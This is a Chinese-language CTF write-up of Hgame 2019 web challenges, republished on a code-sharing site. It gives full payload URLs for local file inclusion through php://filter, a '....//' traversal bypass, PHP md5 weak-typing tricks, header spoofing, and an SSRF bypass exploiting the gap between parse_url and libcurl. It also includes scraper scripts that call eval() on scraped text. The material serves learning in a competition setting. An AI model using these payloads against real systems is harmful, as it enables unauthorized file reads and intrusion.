2019 Hgame week 1-2 writeup

栏目: 编程工具 · 发布时间: 7年前

内容简介:H-Game不是那种。。WEB

2019 Hgame week 1-2 writeup

H-Game

不是那种。。

WEB

week-1

谁吃了我的flag?

题干提示了vim,没好好关机,知道了是 Linux 的vim异常退出

所以访问 .index.html.swp 得到swp,扔到Linux里 vim .index.html.swp -r 恢复,得到flag,这里注意前面的 . 刚开始一直没出来还在硬扫后台。。。最后dalao前面有个 . 。。

换头大作战

有个搜索框,随便输入一个1,返回了 request method is error.I think POST is better 那就用hackbar post提交一个 want=1 (chrome也有hackbar了),然后回显 https://www.wikiwand.com/en/X-Forwarded-For only localhost can get flag 然后用burp改包,用 X-Forwarded-For 伪造ip,重Q发后返回提示需要水狐浏览器访问,继续改包,修改User-agent为水狐 Waterfox/50.0 ,继续重发,提示需要从bilibili来访问,继续改,把 referer 改成bilibili,最后把cookies修改成1,得到flag

very easy web

error_reporting(0);
include("flag.php");

if(strpos("vidar",$_GET['id'])!==FALSE)
  die("<p>干巴爹</p>");

$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "vidar")
{
  echo $flag;
}
highlight_file(__FILE__);

题目中有个 urldecode 审计后发现是双重url编码就可以绕过

payload http://120.78.184.111:8080/week1/very_ez/index.php?id=%2576%2569%2564%2561%2572

can u find me?

题目提示 为什么不问问神奇的十二姑娘和她的小伙伴呢
F12在元素中找到 f12.php 访问,要我们提交一个 password ,密码在响应头中,提交后,回显 aoh,your speed is sososo fast,the flag must have been left in somewhere ,查找一番发现没有什么结果,看了一眼f12,发现是存在跳转。开burp比较麻烦,直接用curl获取相应体 curl -i http://47.107.252.171:8080/iamflag.php

第一周的web就结束了

week-2

easy_php

题目标题提示 where is my robots? 直接访问 robots 看到里面的 img/index.php 访问得到源码

error_reporting(0);
$img = $_GET['img'];
if(!isset($img))
    $img = '1';
$img = str_replace('../', '', $img);
include_once($img.".php");
highlight_file(__FILE__);

就是替换了 ../ 的文件包含,直接双写绕过就好了

payload http://118.24.25.25:9999/easyphp/img/index.php?img=....//flag ,发现得到的竟然不是,思考了下,这里竟然有文件包含,尝试利用伪协议读取源码 http://118.24.25.25:9999/easyphp/img/index.php?img=php://filter/read=convert.base64-encode/resource=....//flag 得到flag

php trick

//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
    die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
    die('step 2 fail');
}
if( $str3 == $str4 ){
    die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
    die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
    die('step 5 fail');
}
if(is_numeric($str5)){
    die('step 6 fail');
}
if ($str5<9999999999){
    die('step 7 fail');
}
if ((string)$str5>0){
    die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
    die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
    die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
    die('step 11 fail');
}
else{
    echo $output;
}

我觉得一道挺好的入门题。。。嗯。。。有很多的 PHP 特性,一个个来解释

step1,2 php弱类型特性,md5加密后0e绕过,

step3,4 字符串不相等md5严格相等,利用 false===false 绕过,直接传入数组,md5返回 false

step5 请求里必须存在 H_game 这个参数

step6,7,8 要求 str5 不是数字或数字字符串,并且小于 9999999999 大于 0 (这里有个小tips,php中数组大于一切数字), str5 是通过 H_game 来获取的,这样就与step5矛盾,需要绕过,这里可以对H使用 url编码 绕过,看了大佬的wp后学到了一个新姿势

在遇到需要在url中请求如:A_A这样的值的时候,可以通过A.A或者A+A来达到相同的效果。

PHP变量名不能带有点[.] 和空格,否则在会被转化为下划线[_] (+号在url中表示空格)

即在url中使用 H+game 代替。

step9,10 使用curl来访问,这里绕过即可,因为 parse_urllibcurlurl 的解析问题造成 ssrf
parse_url 解析的是 host 最后一个@符号后的 host ,但是 libcurl 解析的是第一个@后的 host ,所以这里这样就可以绕过 /http://@localhost@www.baidu.com/admin.php ,得到源码

//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
    die('only localhost can see it');
}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
    echo "sorry,you can't see it";
}
else{
    echo file_get_contents($filename);
}
highlight_file(__FILE__);

看到这里的 file_exists()file_get_contents() 明显冲突,使用 php://filter/read=convert.base64-encode/resource=flag.php 绕过

最后的payload http://118.24.3.214:3001/?str1=QNKCDZO&amp;str2=s878926199a&amp;str3[]=1&amp;str4[]=2&amp;%48_game[]=1000000000000000000000000000000000000q&amp;url=http://@localhost:@www.baidu.com/admin.php?filename=php://filter/read=convert.base64-encode/resource=flag.php

PHP Is The Best Language

源码

include 'secret.php'; 

#echo $flag; 
#echo $secret; 

if (empty($_POST['gate']) || empty($_POST['key'])) { 
    highlight_file(__FILE__); 
    exit; 
} 

if (isset($_POST['door'])){ 
    $secret = hash_hmac('sha256', $_POST['door'], $secret); 
} 

$gate = hash_hmac('sha256', $_POST['key'], $secret); 

if ($gate !== $_POST['gate']) { 
    echo "Hacker GetOut!!"; 
    exit; 
} 

if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) { 
    echo "Wow!!!"; 
    echo "</br>"; 
    echo $flag; 
} 
else { 
    echo "Hacker GetOut!!"; 
}

hash_hmac — 使用 HMAC 方法生成带有密钥的哈希值

当第二个参数为数组的时候返回null,利用这个特性,即使不知道$secret,也可以控制$gate这个参数。

然后就是 (md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) 绕过了,这个可以利用弱类型,构造0e,提供一个字符串 V5VDSHva7fjyJoJ33IQl 。然后把这个 sha256 加密后做gate提交,就可以了

Baby_Spider

学到很多东西的一题,题目明确爬虫+python3来做,开始毫无头绪,后来看了大佬的wp,知道了这里有两个反扒机制,一个是携程用的css来打乱显示数字,一个是使用字体替换来反扒。然后做了早就想开坑的 selenuim ,这次用了 requestsselenuim 两种方法来做这道题,可以说是收获良多了。

# selenuim方法
from selenium import webdriver

url = 'http://111.231.140.29:10000/'

driver = webdriver.Chrome("chromedriver.exe")
driver.get(url)

start_input = driver.find_element_by_name('token') #获取输入框
start_button = driver.find_element_by_tag_name('button') #获取点击按钮

start_input.send_keys('your token') #输入你的token
start_button.click()

def calc(value):
    answer = eval(str(value))
    submit = driver.find_element_by_tag_name('button')
    value_input = driver.find_element_by_name('answer')
    value_input.send_keys(str(answer))
    submit.click()

for i in range(0,30):
    if i <10:
        value = driver.find_element_by_class_name('question-container').text.split('=')[0]
        calc(value)
    if i >= 10 and i < 20:
        cal = driver.find_element_by_class_name('question-container').text.split('=')[0]
        intab = "1234567890"
        outtab = "0269435871"
        trantab = str.maketrans(intab, outtab)
        cal = cal.translate(trantab)
        """
            这里是开始不知道有翻译表这个方法的时候想的方法,毕竟也想了那么久。。。记录一下
        """
        #    key_values = {
        #   '1':'0',
        #   '2':'2',
        #   '3':'6',
        #   '4':'9',
        #   '5':'4',
        #   '6':'3',
        #   '7':'5',
        #   '8':'8',
        #   '9':'7',
        #   '0':'1',
        # }
        # for j in range(len(cal)):
        #   if key_values.__contains__(cal[j]):
        #       cal = cal[:j] + key_values[cal[j]] + cal[j+1:]
        #   else:
        #       cal = cal[:j] + cal[j] + cal[j+1:]
        calc(cal)
    if i >= 20:
        # 这里使用js获取伪元素的content的值
        js = "var h3 = document.querySelector('.question-container');var result= getComputedStyle(h3, '::after').content;return result;"
        result = driver.execute_script(js)
        result = result.replace("=?", "")
        result = result.replace("\"", "")
        calc(result)
# requests方法
import requests
import re

url = 'http://111.231.140.29:10000/'
data = {'token' : 'your token'} #输入你的token

# 这道题目如果你用requests的话,再后面二十题要加请求头,不然会被强制关机!。。。。。,应该是有个请求头检测
headers = {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36' ,'Referer': 'http://111.231.140.29:10000/question'}

def get_cookie(req):
    Session = req.headers['Set-Cookie'].split(';')[0]
    return Session

def calc(formula):
    result = eval(str(formula))
    return result

def get_formula_(req,i):
    print("正在计算第%s题..."%str(i))
    template = re.compile('<div class="question-container"><span>(.*?)=\?</span></div>',re.S)
    formula = template.findall(req.text)[0]
    print(formula)
    return formula

def tran(formula):
    intab = "1234567890"
    outtab = "0269435871"
    trantab = str.maketrans(intab, outtab)
    formula = formula.translate(trantab)
    return formula

def get_css_formula(css):
    template = re.compile('content:"(.*?)=\?";',re.S)
    formula = template.findall(css)[0]
    # print(formula)
    return formula

req = requests.req = requests.post(url, data=data, headers=headers) #第一次请求

req = requests.get(
    url,
    headers={'Cookie':get_cookie(req)}
)
# print(req.text)


for i in range(1,31):
    url = 'http://111.231.140.29:10000/solution'
    formula = get_formula_(req, i)
    if i <= 10:
        Session = get_cookie(req)
        # print(result)
    # print(req.text)
    if  20 >= i > 10:
        formula = tran(formula)
        Session = get_cookie(req)
    if i > 20:
        # 这里要重新获取session不然请求的是20题的css得不到content
        Session = get_cookie(req)
        css = requests.get(
            'http://111.231.140.29:10000/statics/style.css',
            headers={'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': Session,
                     'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36',
                     'Referer': 'http://111.231.140.29:10000/question'}
        ).text
        formula = get_css_formula(css)

    result = calc(formula)
    req = requests.post(
        'http://111.231.140.29:10000/solution', data={'answer': result},
        headers={
            'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': Session,
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36',
            'Referer': 'http://111.231.140.29:10000/question'}
    )
    if 'hgame'in req.text:
        print(req.text)

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Beginning ARKit for iPhone and iPad

Beginning ARKit for iPhone and iPad

Wallace Wang / Apress / 2018-11-5 / USD 39.99

Explore how to use ARKit to create iOS apps and learn the basics of augmented reality while diving into ARKit specific topics. This book reveals how augmented reality allows you to view the screen on ......一起来看看 《Beginning ARKit for iPhone and iPad》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

URL 编码/解码
URL 编码/解码

URL 编码/解码

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具